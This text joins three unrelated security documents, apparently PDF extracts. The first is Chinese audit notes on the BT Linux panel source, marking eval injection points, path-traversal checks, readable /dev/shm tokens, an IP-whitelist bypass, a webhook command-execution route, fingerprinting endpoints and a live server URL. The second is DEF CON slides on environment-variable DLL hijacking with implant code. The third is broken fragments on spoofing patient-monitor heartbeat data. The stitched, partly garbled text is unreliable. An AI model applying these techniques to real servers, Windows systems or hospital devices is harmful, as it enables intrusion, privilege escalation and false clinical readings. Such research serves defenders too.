"menu_day", "id": "memuAcrontab", "sort": 10 }, { "title": "软件商店", "href": "/soft", "class": "menu_soft", "id": "memuAsoft", "sort": 11 }, { "title": "⾯板设置", "href": "/config", "class": "menu_set", "id": "memuAconfig", "sort": 12 }, { "title": "退出", "href": "/login?dologin=True", "class": "menu_exit", "id": "dologin", "sort": 13 } ] 可能存放ssh信息 basic_auth.json 如果要basic登陆,写⼊这个⽂件 flask 的key是12位,⽣成代码根据硬件来,每个机器唯⼀ 检查登陆 宝塔⾯板在发现ua有bot时候会跳转到bt官⽹ 宝塔⾸⻚会⾸先检测是否api check(检测config/api.json⽂件),如果没有,则跳转login 获取客户端IP,直接从remote_addr 爆破的话有20次限制,1⼩时 token需要正确 app.secret_key = uuid.UUID(int=uuid.getnode()).hex[-12:] app.config['SESSION_MEMCACHED'] = SimpleCache() app.config['SESSION_TYPE'] = 'memcached' app.config['SESSION_PERMANENT'] = True app.config['SESSION_USE_SIGNER'] = True app.config['SESSION_KEY_PREFIX'] = 'BT_:' app.config['SESSION_COOKIE_NAME'] = "SESSIONID" app.config['PERMANENT_SESSION_LIFETIME'] = 86400 * 30 g.ua = request.headers.get('User-Agent','') if g.ua: ua = g.ua.lower() if ua.find('spider') != -1 or g.ua.find('bot') != -1: return redirect('https://www.baidu.com') g.version = '7.6.0' # 版本号被硬编码 g.title = public.GetConfigValue('title') g.uri = request.path g.debug = os.path.exists('data/debug.pl') g.pyversion = sys.version_info[0] session['version'] = g.version def GetClientIp(): from flask import request return request.remote_addr.replace('::ffff:','') 之后需要传⼊的参数通过 配置的key进⾏aes解密 最后⼀个参数通过md5+时间校验 api 访问 主要要弄到 token和key, /dev/shm/ ⽬录任何⼈可读,读取到这个⽬录就可得知token信息。 登陆检查暗装 如果登陆的ua不和初次登陆的⼀样则退出,应该是防⽌cookie被窃取 登陆⼊⼝⽂件 Flask请求钩⼦ a_file = '/dev/shm/' + get.client_bind_token if not os.path.exists(a_file): import panelApi if not panelApi.panelApi().get_app_find(get.client_bind_token): public.set_error_num(num_key) return public.returnJson(False,'未绑定的设备') public.writeFile(a_file,'') g.form_data = json.loads(public.aes_decrypt(get.form_data,api_config['key'])) request_token = public.md5(get.request_time + api_config['token']) ua_md5 = public.md5(g.ua) if ua_md5 != session.get('login_user_agent',ua_md5): session.clear() return redirect('/login') admin_path_file = 'data/admin_path.pl' if request.path in ['/service_status']: return if session.get('debug') == 1: return if request.path.find('/static/') != -1 or request.path == '/code': if not 'login' in session and not 'admin_auth' in session and not 'down' in session: session.clear() return abort(401) 钩⼦结束 记录⽇志 写⽇志函数 domain_check = public.check_domain_panel() if domain_check: return domain_check # ⾯板域名检查 if public.is_local(): # 离线模式,is_local是判断⽂件/www/server/panel/data/not_network.pl是否存在 # 离线模式下⽆法使⽤这些功能 not_networks = ['uninstall_plugin', 'install_plugin', 'UpdatePanel'] if request.args.get('action') in not_networks: return public.returnJson(False, 'INIT_REQUEST_CHECK_LOCAL_ERR'), json_header # Flask 请求结束勾⼦ @app.teardown_request def request_end(reques=None): if request.path in ['/service_status']: return not_acts = ['GetTaskSpeed', 'GetNetWork', 'check_pay_status', 'get_re_order_status', 'get_order_stat'] key = request.args.get('action') if not key in not_acts and request.full_path.find('/static/') == -1: public.write_request_log() if 'api_request' in g: if g.api_request: session.clear() #写关键请求⽇志 def write_request_log(reques = None): try: from BTPanel import request,g,session if session.get('debug') == 1: return if request.path in ['/service_status','/favicon.ico','/task','/system','/ajax','/control','/data','/ssl']: return False log_path = '/www/server/panel/logs/request' log_file = getDate(format='%Y-%m-%d') + '.json' if not os.path.exists(log_path): os.makedirs(log_path) log_data = [] log_data.append(getDate()) log_data.append(GetClientIp() + ':' + str(request.environ.get('REMOTE_PORT'))) log_data.append(request.method) 路由 如果路由函数有这⼀段话,代表在检查登陆 源码中也区分了 普通路由区,代表这个区域都需要检查,严格排查区,代表不需要登陆,但是要严格排查。 login 如果 config/api.json 中有tmp_token,这个可以被⽤来登陆 tips 可以作为⼀个特征,要⽤curl访问,直接⽤chrome访问会js跳转的。 ⽂件分享接⼝ log_data.append(request.full_path) log_data.append(request.headers.get('User-Agent')) if request.method == 'POST': args = str(request.form.to_dict()) if len(args) < 2048 and args.find('pass') == -1 and args.find('user') == -1: log_data.append(args) else: log_data.append('{}') else: log_data.append('{}') log_data.append(int((time.time() - g.request_time) * 1000)) WriteFile(log_path + '/' + log_file,json.dumps(log_data) + "\n",'a+') rep_sys_path() except: pass comReturn = comm.local() if comReturn: return comReturn @app.route('/tips', methods=method_get) def tips(): # 提示⻚⾯ return render_template('tips.html') @app.route('/down/<token>', methods=method_all) fname = request.args.get('fname') if fname: if (len(fname) > 256): return abort(404) if fname: fname = fname.strip('/') 如果能把 .. 、 ./ ,绕过去就可以跨越⽬录了。 ⼩程序接⼝ filename = find['filename'] if fname: filename = os.path.join(filename, fname) if not public.path_safe_check(fname, False): return abort(404) if os.path.isdir(filename): return get_dir_down(filename, token, find) else: if os.path.isdir(filename): return get_dir_down(filename, token, find) #校验路径安全 def path_safe_check(path,force=True): if len(path) > 256: return False checks = ['..','./','\\','%','$','^','&','*','~','"',"'",';','|','{','}','`'] for c in checks: if path.find(c) != -1: return False if force: rep = r"^[\w\s\.\/-]+$" if not re.match(rep,path): return False return True @app.route('/public', methods=method_all) def panel_public(): # ⼩程序控制接⼝ get = get_input() try: import panelWaf panelWaf_data = panelWaf.panelWaf() if panelWaf_data.is_sql(get.__dict__): return 'ERROR' if panelWaf_data.is_xss(get.__dict__): return 'ERROR' except: pass #获取ping测试 if 'get_ping' in get: try: import panelPing p = panelPing.Test() get = p.check(get) # 这个Test() check()函数没找到,找到了这⾥应该可以看下 # 这⾥应该是没写完,最新版也没发现这个,直接访问会报错,曝出宝塔的路径 # http://49.232.39.212:2088/public?get_ping=1 # class/panelPing.py 这个是python2写的,根据报错信息不同可区分python2 还是 python3 if not get: return 'ERROR' result = getattr(p,get['act'])(get) result_type = type(result) if str(result_type).find('Response') != -1: return result return public.getJson(result),json_header except: return public.returnJson(False,public.get_error_info()) if len("{}".format(get.__dict__)) > 1024 * 32: return 'ERROR' get.client_ip = public.GetClientIp() num_key = get.client_ip + '_wxapp' if not public.get_error_num(num_key, 10): return public.returnMsg(False, '连续10次认证失败,禁⽌1⼩时') if not hasattr(get, 'name'): get.name = '' if not hasattr(get, 'fun'): return abort(404) if not public.path_safe_check("%s/%s" % (get.name, get.fun)): return abort(404) if get.fun in ['scan_login', 'login_qrcode', 'set_login', 'is_scan_ok', 'blind', 'static']: if get.fun == 'static': if not 'filename' in get: return abort(404) if not public.path_safe_check("%s" % (get.filename)): return abort(404) s_file = '/www/server/panel/BTPanel/static/' + get.filename # 这⾥很危险,直接拼接,但是..绕不过去。。 if s_file.find('..') != -1 or s_file.find('./') != -1: return abort(404) if not os.path.exists(s_file): return abort(404) return send_file(s_file, conditional=True, add_etags=True) # 检查是否验证过安全⼊⼝ if get.fun in ['login_qrcode', 'is_scan_ok']: global admin_check_auth, admin_path, route_path, admin_path_file if admin_path != '/bt' and os.path.exists(admin_path_file) and not 'admin_auth' in session: return 'False' #验证是否绑定了设备 if not get.fun in ['blind']: if not public.check_app('app'):return public.returnMsg(False,'未绑定⽤户!') import wxapp pluwx = wxapp.wxapp() checks = pluwx._check(get) if type(checks) != bool or not checks: public.set_error_num(num_key) return public.getJson(checks), json_header data = public.getJson(eval('pluwx.' + get.fun + '(get)')) wxapp检查代码 # 直接拼接eval,但是get.fun函数值被限制了,但是get还能⽤,前提是绕过它的check检查 # check检查有⽩名单ip可以直接绕过,这个最⽅便 # 或者 枚举32位随机字符,⼋分钟时间爆破(有点难度) # 发现wxapp.blind函数可以利⽤,可以写⼊任意user.json⽂件,但前提绕过check检查 return data, json_header if get.name != 'app': return abort(404) if not public.check_app('wxapp'): return public.returnMsg(False, '未绑定⽤户!') # 需要绑定⽤户, import panelPlugin plu = panelPlugin.panelPlugin() get.s = '_check' checks = plu.a(get) # 调⽤wxapp模块,之前看plu.a,以为能任意利⽤呢,我想多了。 if type(checks) != bool or not checks: public.set_error_num(num_key) return public.getJson(checks), json_header get.s = get.fun comm.setSession() comm.init() comm.checkWebType() comm.GetOS() result = plu.a(get) # session.clear() public.set_error_num(num_key, True) return public.getJson(result), json_header class wxapp(SelfModule, ScanLogin): def __init__(self): self.app_path = '/www/server/panel/data/' self.app_path_p = '/www/server/panel/plugin/app/' SelfModule.__init__(self) def _check(self, get): token_data = public.readFile(self.app_path + 'token.pl') if not token_data: token_data = public.readFile(self.app_path_p + 'token.pl') if hasattr(SelfModule, get['fun']): return False elif get['fun'] in ['set_login', 'is_scan_ok', 'login_qrcode']: return True elif get['fun'] == 'blind': if not token_data: return public.returnMsg(False, '⼆维码过期1') token_data = token_data.replace('\n', '') password, expiration_time = token_data.split(':') # return True 插件检查代码 if time.time() - int(expiration_time) > 8*60: return public.returnMsg(False, '⼆维码过期2') elif get['panel_token'] != password: return public.returnMsg(False, '秘钥不正确') return True else: # 是否在⽩名单ip sgin 是否正确 if hasattr(get, 'uid') and hasattr(get, 'sgin') and hasattr(get, 'fun') and get['uid'] in self.user_info.keys(): encryption_str = self.user_info[get['uid']] ['token']+get['fun']+get['uid'] if sys.version_info[0] == 3: if type(encryption_str) == str: encryption_str = encryption_str.encode() if get['sgin'] == public.md5(binascii.hexlify(base64.b64encode(encryption_str))): if public.GetClientIp() in ['47.52.194.186']: return True return public.returnMsg(False, '未授权') # ⽤户绑定 def blind(self, get): # ⽤于⼩程序 # self.user_info[get['uid']] = { "avatarUrl": get['avatarUrl'], "nickName": get['nickName'], "token": get['token'] } public.writeFile(self.app_path+"user.json", json.dumps(self.user_info)) public.writeFile(self.app_path_p + "user.json", json.dumps(self.user_info)) public.ExecShell("rm -rf %stoken.pl" % self.app_path) public.ExecShell("rm -rf %stoken.pl" % self.app_path_p) return public.returnMsg(True, '绑定成功' #请求插件事件 def a(self,get): if not hasattr(get,'name'): return public.returnMsg(False,'PLUGIN_INPUT_A') try: if not public.path_safe_check("%s/%s" % (get.name,get.s)): return public.returnMsg(False,'PLUGIN_INPUT_C') path = self.__install_path + '/' + get.name if not os.path.exists(path + '/'+get.name+'_main.py'): if os.path.exists(path+'/index.php'): import panelPHP return panelPHP.panelPHP(get.name).exec_php_script(get) # php插件直接执⾏php代码了 每个宝塔⾯板⾥通⽤插件有 linuxsys和webssh,通过插件也能获取宝塔内的很多信息,严重的如rce因为每个参数 都有检查,不好bypass,这个插件篇会说。 检查⾯板状态 这个返回 ‘True’ 应该可以当成最通⽤的⾯板指纹的⽅式 插件接⼝ return public.returnMsg(False,'PLUGIN_INPUT_B') if not self.check_accept(get):return public.returnMsg(False,public.to_string([24744, 26410, 36141, 20080, 91, 37, 115, 93, 25110, 25480, 26435, 24050, 21040, 26399, 33]) % (self.get_title_byname(get),)) public.package_path_append(path) plugin_main = __import__(get.name+'_main') try: reload(plugin_main) except: pass pluginObject = eval('plugin_main.' + get.name + '_main()') # 否则执⾏eval if not hasattr(pluginObject,get.s): return public.returnMsg(False,'PLUGIN_INPUT_C',(get.s,)) execStr = 'pluginObject.' + get.s + '(get)' return eval(execStr) except: import traceback errorMsg = traceback.format_exc() public.submit_error(errorMsg) return public.returnMsg(False,'抱歉,出错了:<br> %s ' % errorMsg.replace('\n','<br>')) @app.route('/service_status', methods=method_get) def service_status(): # 检查⾯板当前状态 try: if not 'login' in session: session.clear() except: pass return 'True' @app.route('/coll', methods=method_all) @app.route('/coll/', methods=method_all) @app.route('/<name>/<fun>', methods=method_all) @app.route('/<name>/<fun>/<path:stype>', methods=method_all) def panel_other(name=None, fun=None, stype=None): # 插件接⼝ if name != "mail_sys" or fun != "send_mail_http.json": comReturn = comm.local() if comReturn: return comReturn if fun: if fun.find('.json') != -1: if 'request_token' in session and 'login' in session: if not check_csrf(): return public.ReturnJson(False, 'INIT_CSRF_ERR'), json_header args = None else: # 必须要name=mail_sys,fun=send_mail_http,不然其他的都需要登陆 args = get_input() args_list = ['mail_from', 'password', 'mail_to', 'subject', 'content', 'subtype', 'data'] for k in args.__dict__: if not k in args_list: return abort(404) is_accept = False if not fun: fun = 'index.html' if not stype: tmp = fun.split('.') fun = tmp[0] if len(tmp) == 1: tmp.append('') stype = tmp[1] if not name: name = 'coll' if not public.path_safe_check("%s/%s/%s" % (name, fun, stype)): return abort(404) if name.find('./') != -1 or not re.match(r"^[\w-]+$", name): return abort(404) if not name: return public.returnJson(False, 'PLUGIN_INPUT_ERR'), json_header p_path = os.path.join('/www/server/panel/plugin/', name) if not os.path.exists(p_path): if name == 'btwaf' and fun == 'index': return render_template('error3.html',data={}) return abort(404) # 是否响插件应静态⽂件 if fun == 'static': if stype.find('./') != -1 or not os.path.exists(p_path + '/static'): return abort(404) s_file = p_path + '/static/' + stype if s_file.find('..') != -1: return abort(404) if not re.match(r"^[\w\./-]+$", s_file): return abort(404) if not public.path_safe_check(s_file): return abort(404) if not os.path.exists(s_file): return abort(404) return send_file(s_file, conditional=True, add_etags=True) # 准备参数 if not args: args = get_input() args.client_ip = public.GetClientIp() args.fun = fun # 初始化插件对象 try: is_php = os.path.exists(p_path + '/index.php') if not is_php: public.package_path_append(p_path) plugin_main = __import__(name + '_main') try: if sys.version_info[0] == 2: reload(plugin_main) else: from imp import reload reload(plugin_main) except: pass plu = eval('plugin_main.' + name + '_main()') if not hasattr(plu, fun): if name == 'btwaf' and fun == 'index': return render_template('error3.html',data={}) return public.returnJson(False, 'PLUGIN_NOT_FUN'), json_header # 执⾏插件⽅法 if not is_php: if is_accept: checks = plu._check(args) if type(checks) != bool or not checks: return public.getJson(checks), json_header data = eval('plu.' + fun + '(args)') else: comReturn = comm.local() if comReturn: return comReturn import panelPHP args.s = fun args.name = name data = panelPHP.panelPHP(name).exec_php_script(args) r_type = type(data) if r_type == Response: return data # 处理响应 if stype == 'json': # 响应JSON return public.getJson(data), json_header elif stype == 'html': # 使⽤模板 t_path_root = p_path + '/templates/' t_path = t_path_root + fun + '.html' if not os.path.exists(t_path): return public.returnJson(False, 'PLUGIN_NOT_TEMPLATE'), json_header t_body = public.readFile(t_path) WEBHOOK接⼝ import webhook_main 这个是插件形式 # 处理模板包含 rep = r'{%\s?include\s"(.+)"\s?%}' includes = re.findall(rep, t_body) for i_file in includes: filename = p_path + '/templates/' + i_file i_body = 'ERROR: File ' + filename + ' does not exists.' if os.path.exists(filename): i_body = public.readFile(filename) t_body = re.sub(rep.replace('(.+)', i_file), i_body, t_body) return render_template_string(t_body, data=data) else: # 直接响应插件返回值,可以是任意flask⽀持的响应类型 r_type = type(data) if r_type == dict: return public.returnJson(False, public.getMsg('PUBLIC_ERR_RETURN').format(r_type)), json_header return data except: error_info = public.get_error_info() public.submit_error(error_info) return error_info.replace('\n', '<br>\n') @app.route('/hook', methods=method_all) def panel_hook(): # webhook接⼝ get = get_input() if not os.path.exists('plugin/webhook'): return public.getJson(public.returnMsg(False, 'INIT_WEBHOOK_ERR')) public.package_path_append('plugin/webhook') import webhook_main session.clear() return public.getJson(webhook_main.webhook_main().RunHook(get)) #coding: utf-8 # +------------------------------------------------------------------- # | 宝塔Linux⾯板 x3 # +------------------------------------------------------------------- # | Copyright (c) 2015-2017 宝塔软件(http://bt.cn) All rights reserved. # +------------------------------------------------------------------- # | Author: ⻩⽂良 <[email protected]> # +------------------------------------------------------------------- #+-------------------------------------------------------------------- #| 宝塔WebHook插件 #+-------------------------------------------------------------------- import public,json,os,time; class obj: id=0; class webhook_main: __setupPath = 'plugin/webhook'; __panelPath = '/www/server/panel'; #获取列表 def GetList(self,get): jsonFile = self.__setupPath + '/list.json'; if not os.path.exists(jsonFile): return public.returnMsg(False,'配置⽂件不存 在!'); data = {} data = json.loads(public.readFile(jsonFile)); return sorted(data, key= lambda b:b['addtime'],reverse=True); #添加HOOK def AddHook(self,get): data = self.GetList(get); if get.title == '' or get.shell == '': return public.returnMsg(False,'标题和Hook 脚本不能为空'); hook = {} hook['title'] = get.title; hook['access_key'] = public.GetRandomString(48) hook['count'] = 0; hook['addtime'] = int(time.time()) hook['uptime'] = 0 jsonFile = self.__setupPath + '/list.json'; if self.__setupPath + '/script': os.system('mkdir ' + self.__setupPath + '/script'); shellFile = self.__setupPath + '/script/' + hook['access_key'] public.writeFile(shellFile,get.shell) data.append(hook); public.writeFile(jsonFile,json.dumps(data)) return public.returnMsg(True,'添加成功!'); #删除Hook def DelHook(self,get): data = self.GetList(get); newdata = [] for hook in data: if hook['access_key'] == get.access_key: continue; newdata.append(hook); jsonFile = self.__setupPath + '/list.json'; shellFile = self.__setupPath + '/script/' + get.access_key os.system('rm -f ' + shellFile + '*'); public.writeFile(jsonFile,json.dumps(newdata)) return public.returnMsg(True,'删除成功!'); 如果⽬录有遍历,能知道 plugin/webhook/script/ ⽬录下⽂件,就可以伪造access_key来执⾏任意命令了。 如果没安装webhook插件,访问 url/hook,会提示 公共函数库 ExecShell 传⼊ cmdstring 这个在外部可能拼接 #运⾏Shell def RunShell(self,get): data = self.GetList(get); for i in range(len(data)): if data[i]['access_key'] == get.access_key: shellFile = self.__setupPath + '/script/' + get.access_key param = ''; if hasattr(get,'param'): param = get.param; os.system("bash " + shellFile + ' "'+param+'" ' + ' >> ' + shellFile + '.log &') data[i]['count'] +=1; data[i]['uptime'] = int(time.time()); jsonFile = self.__setupPath + '/list.json'; public.writeFile(jsonFile,json.dumps(data)) return public.returnMsg(True,'运⾏成功!'); return public.returnMsg(False,'指定Hook不存在!'); #运⾏Hook def RunHook(self,get): res = self.RunShell(get); result = {} result['code'] = 0 if res['status']: result['code'] = 1 return result; {"status": false, "msg": "请先安装WebHook插件!"} #校验路径安全 def path_safe_check(path,force=True): if len(path) > 256: return False checks = ['..','./','\\','%','$','^','&','*','~','"',"'",';','|','{','}','`'] for c in checks: if path.find(c) != -1: return False if force: rep = r"^[\w\s\.\/-]+$" if not re.match(rep,path): return False return True 插件篇 邮件发送 参考整理资料 https://github.com/Hzllaga/BT_Panel_Privilege_Escalation 宝塔⾯板Windows提权⽅法 写数据库提权 API提权 计划任务提权 ⾃动化测试 宝塔 phpMyAdmin https://www.leavesongs.com/PHP/baota-phpmyadmin-unauthentication-analysis.html
pdf
Wietze Beukema (@wietze) D3FC0N, August 2022 SAVE THE ENVIRONMENT (VARIABLE) HIJACKING LEGITIMATE APPLICATIONS WITH A MINIMAL FOOTPRINT D3F C0N @Wietze ▪ Sr Threat Hunter on CrowdStrike’s OverWatch Elite team ▪ Based in London, UK ▪ Previously presented at BSides London, MITRE ATT&CK EU Community, SANS DFIR HELLO WORLD, WHO DIS? 2 @WIETZE D3F C0N DLL HIJACKING “Tricking a (legitimate/trusted) application into loading an arbitrary DLL” Legitimate DLLs Trusted program Evil DLL 3 @WIETZE D3F C0N Attacker- controlled folder Original folder 4 @WIETZE DLL HIJACKING: COMMON TYPES DLL SIDE-LOADING Move vulnerable EXE, put next to malicious DLL DLL SEARCH ORDER HIJACKING Put malicious DLL in folder searched before legit DLL DLL SUBSTITUTION Replace the original DLL with a malicious one D3F C0N Attacker- controlled folder Original folder 5 @WIETZE DLL HIJACKING: LESS COMMON TYPES PHANTOM DLL HIJACKING Create malicious DLL in location that is searched for, but normally does not exist WINSXS HIJACKING Manipulate Windows Side-by-Side infrastructure INPUT-BASED HIJACKING Manipulate the command line, Windows Registry, etc. D3F C0N WELL DOCUMENTED WELL RESEARCHED WELL DETECTED 6 @WIETZE D3F C0N 7 @WIETZE VARIABLES D3F C0N ▪ (Dynamic) variable that can be used by running programs ▪ Can be used in: ▪ Command shells (e.g. %VAR% on Windows, $VAR on Unix) ▪ As well as regular processes (e.g. getenv("VAR") in C) ▪ Typically stored as (ASCII) string 8 @WIETZE ENVIRONMENT VARIABLES D3F C0N ENVIRONMENT VARIABLES: A BRIEF HISTORY An environment variable is a special case of a replaceable parameter. If the SET command is used in the form SET name=value to add an environment variable to the system's environment block, the string value will be substituted for the string %name% wherever the latter is encountered during the interpretation of a batch file. This capability is available only in versions 2.x, 3.1, and 3.2. 70 80 90 00 10 20 1978: Version 7 Unix introduces environment variables 1982: PS DOS 2.0 introduces environment variables 1999: First ever issued CVEs contain PrivEsc via %PATH% 1997: Security researcher highlights issues with %PATH% in WinNT 1992: Windows 3.1 introduces the Windows Registry List: ntbugtraq Subject: NT security - why bother? From: Paul Ashton <paul () ARGO ! DEMON ! CO ! UK> Date: 1997-07-23 22:34:20} […] Why would any other application developers bother to support secure configurations if this is what they see coming out of Redmond? […] 9 @WIETZE D3F C0N ▪ All variable keys and values are stored in a single string ▪ This string can contain up to 32,767 (215-1) characters in total ▪ (Semi-) Persistent variables are stored in: ▪ (typically) Initialised on boot, then passed down when creating child processes 10 @WIETZE ENVIRONMENT VARIABLES IN WINDOWS Scope Location All Users HKLM\System\CurrentControlSet\Control\Session Manager\Environment Current User HKCU\Environment Current Session HKCU\Volatile Environment Process D3F C0N 11 @WIETZE ENVIRONMENT VARIABLES IN WINDOWS Process Environment Block (PEB) InheritedAddressSpace ReadImageFileExecOptions BeingDebugged SpareBool Mutant Ldr ProcessParameters SubSystemData ProcessHeap … RTL_USER_PROCESS_PARA METERS MaximumLength Length Flags ConsoleHandle ConsoleFlags StdInputHandle StdOutputHandle StdErrorHandle CurrentDirectoryPath CurrentDirectoryHandle DllPath ImagePathName CommandLine Environment StartingPositionLeft StartingPositionTop … =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Wietze\AppData\Roaming CommonProgramFiles=C:\Program Files\Commo CommonProgramFiles(x86)=C:\Program Files CommonProgramW6432=C:\Program Files\Commo COMPUTERNAME=WIETZE-LAB ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\Dr FPS_BROWSER_APP_PROFILE_STRING=Internet E FPS_BROWSER_USER_PROFILE_STRING=Default HOMEDRIVE=C: HOMEPATH=\Users\Wietze LOCALAPPDATA=C:\Users\Wietze\AppData\Loca LOGONSERVER=\\WIETZE-LAB NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\Wietze\OneDrive OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Wi PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 PROCESSOR_LEVEL=6 PROCESSOR_REVISION=8e09 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files D3F C0N BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation, ); 12 @WIETZE WINDOWS API D3F C0N SCOPE FOR TAMPERING? 13 @WIETZE D3F C0N Environment variables pointing to folders we normally do not control, e.g.: SYSTEMDRIVE=C: SYSTEMROOT=C:\Windows WINDIR=C:\Windows ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files 14 @WIETZE VARIABLES OF PARTICULAR INTEREST D3F C0N After picking an application to test: 1. Update environment variable to new location 2. Start application 3. Monitor attempted DLL loads from the new location 4. Profit 15 @WIETZE BASIC CONCEPT Further references: https://www.fortinet.com/blog/threat-research/elastic-boundaries-elevating-privileges-with-environment- variables-expansion, https://twitter.com/0gtweet/status/1429731052826906624 Trusted Program %SOMEVARIABLE%\SomeLib.DLL SomeLib.DLL C:\Legitimate\Path\SomeLib.DLL Trusted Program %SOMEVARIABLE%\SomeLib.DLL SomeLib.DLL C:\Evil\Path\SomeLib.DLL SOMEVARIABLE=C:\Evil\Path Normal run Manipulated run D3F C0N 16 @WIETZE EXAMPLE: POWERSHELL %SystemRoot%\System32\mswsock.dll hostname.exe mswsock.dll C:\Windows\System32\mswsock.dll C:\Temp\Evil\System32\mswsock.dll D3F C0N 17 @WIETZE D3F C0N ✔Run your code via pre-existing, legitimate software ✔No custom command lines, special process operations, etc. ✔No registry footprint ✔EDR rarely (?) analyses process-level environment variables ✔Supported by scripting languages including PowerShell, VBScript, JScript 18 @WIETZE …BUT WHY? D3F C0N 19 @WIETZE EXAMPLE: VBSCRIPT D3F C0N DLL Side-loading ▪ Requires bringing/moving executable DLL Search Order Hijacking ▪ Limited options ▪ Or requires bringing executable DLL substitution ▪ May require elevated rights Input-based DLL hijacking ▪ Detectable via command line ▪ Detectable via (known) Registry locations COMPARISON 20 @WIETZE Environment Variable-Based Hijacking ▪ Uses pre-existing applications ▪ Does not require elevated rights ▪ Does not require special command-line arguments ▪ Many candidates ▪ Only footprint: planting of the DLL D3F C0N 21 @WIETZE FINDING VULNERABLE EXECUTABLES D3F C0N Turning one observation into a systemic approach Idea: HACKER’S MINDSET PREP • Take all DLLs in e.g. C:\Windows\System32 • Create implants for each of them, creating a fingerprint file when loaded EXECUTION • Take all EXEs in e.g. C:\Windows\System32 • Run them with certain environment variables pointed to implants folder VALIDATION • Check fingerprint files 22 @WIETZE D3F C0N A common problem with DLL Hijacking: stability ▪ We don’t (fully) know the role of the DLL in the vulnerable program ▪ We don’t (fully) control the execution flow of the vulnerable program 23 @WIETZE CHALLENGES Approach Problems Solution Creating a generic DLL ⚠️ Rejected/crashing due to missing exports or ordinals ⚠️ Crashing due to missing functionality ⚠️ Crashing due to missing metadata/resources 🔀 Function Redirection (‘DLL Proxying’) Creating DLL with dummy functions for expected export names ⚠️ Rejected/crashing due to missing ordinals ⚠️ Crashing due to missing functionality ⚠️ Crashing due to missing metadata/resources Creating DLL with function redirection ⚠️ Crashing due to missing metadata/resource 📄 Resource cloning D3F C0N 24 @WIETZE LegitimateApp.exe ExportA ExportB ExportA ExportB C:\fakepath\SomeDll.dll C:\windows\SomeDll.dll D3F C0N 25 @WIETZE MASS GENERATE DLL IMPLANTS D3F C0N BOOL WINAPI DllMain(HINSTANCE hModule, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_THREAD_ATTACH: case DLL_PROCESS_ATTACH: generate_fingerprint(__func__); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } 26 @WIETZE D3F C0N 27 @WIETZE MASS TEST VULNERABLE EXECUTABLES D3F C0N 28 @WIETZE D3F C0N RELEASING TODAY 29 @WIETZE ▪ Framework for mass compiling DLLs for DLL Hijacking ▪ With export function redirection ▪ With resource cloning ▪ Using MinGW (i.e. cross-platform support) https://github.com/wietze/ D3F C0N Tested on Windows 11 (21H2): ▪ 82 executables ▪ 91 unique DLLs ▪ Nearly 398 combinations FINDINGS 30 @WIETZE 3rd-party software: ▪ Office 2021 ▪ Browsers: latest Edge, Chrome, Firefox, … ▪ Chat software: latest Slack, Teams, Zoom, WebEx, … However: it is not about the individual results D3F C0N 31 @WIETZE FURTHER IMPLICATIONS D3F C0N ▪ Requirement: when process is created, we should be able to set Environment Variable ▪ Using script in combination with scheduled task: bit meh ▪ Manipulating service-specific Environment Variables…? @WIETZE PERSISTENCE D3F C0N 33 @WIETZE PRIVILEGE ESCALATION (?) ▪ ‘Stealthy’ (?) way to get SYSTEM D3F C0N ▪ CreateProcess cannot run programs that require elevation ▪ ShellExecute does not take process-level environment variables 34 @WIETZE UAC BYPASS (?) D3F C0N ▪ By design: a child process that is run with a higher integrity level will not inherit its parent’s environment variables ▪ Design decision made likely to prevent unauthorised tampering with the PATH environment variable ▪ However: some processes are known to take Current User’s environment variables and run it elevated 35 @WIETZE UAC BYPASS (?) D3F C0N 36 @WIETZE FUTURE D3F C0N DLL HIJACKING IS HERE TO STAY 37 @WIETZE D3F C0N Hijack Libs project ▪ Curated list of DLL hijacking candidates ▪ Environment Variable ▪ Side-Loading ▪ Phantom ▪ Search Order Hijacking ▪ Open source, community driven Now live: hijacklibs.net RELEASING TODAY: HIJACK LIBS 38 @WIETZE D3F C0N HIJACK LIBS 39 @WIETZE For each DLL: ▪ Breakdown of applicable DLL Hijacking types ▪ Overview of expected DLL locations ▪ Overview of vulnerable EXEs ▪ Detection logic (Sigma) 👉hijacklibs.net D3F C0N 40 @WIETZE D3F C0N 41 @WIETZE Community, unite! 👏 https://hijacklibs.net D3F C0N THANK YOU FEEDBACK? DM S OPEN: @Wietze https://www.hijacklibs.net
pdf
• • • • • • • • • • • • • • • • • • *https://www.hpe.com/us/en/insights/articles/medical-device-security-hacking-prevention-measures-1806.html • • • • • • • • • • • • • • • • • • • • • • • • • • • • PM PM CMS PM CMS Data Packets • • • • • • • • • • • • • • • • • • CMS Opens Channel “SYN” CMS Opens Channel “SYN” PM “SYN, ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS This one! 3627 CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS This one! 3627 PM Ok, Here some Data! 1. 2. 1. 3. • • • • • • • • • • • • • Heartbeat Value (80 base 10) Heartbeat Value (80 base 10) Kali Box MAC Heartbeat Value (120 base 10) • • • • “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications to control heart rhythm and/or prevent clots. The hospital could also suffer resource consumption.” - Dr. S. Nordeck Fictitious intermittent cardiac rhythms Fictitious intermittent cardiac rhythms 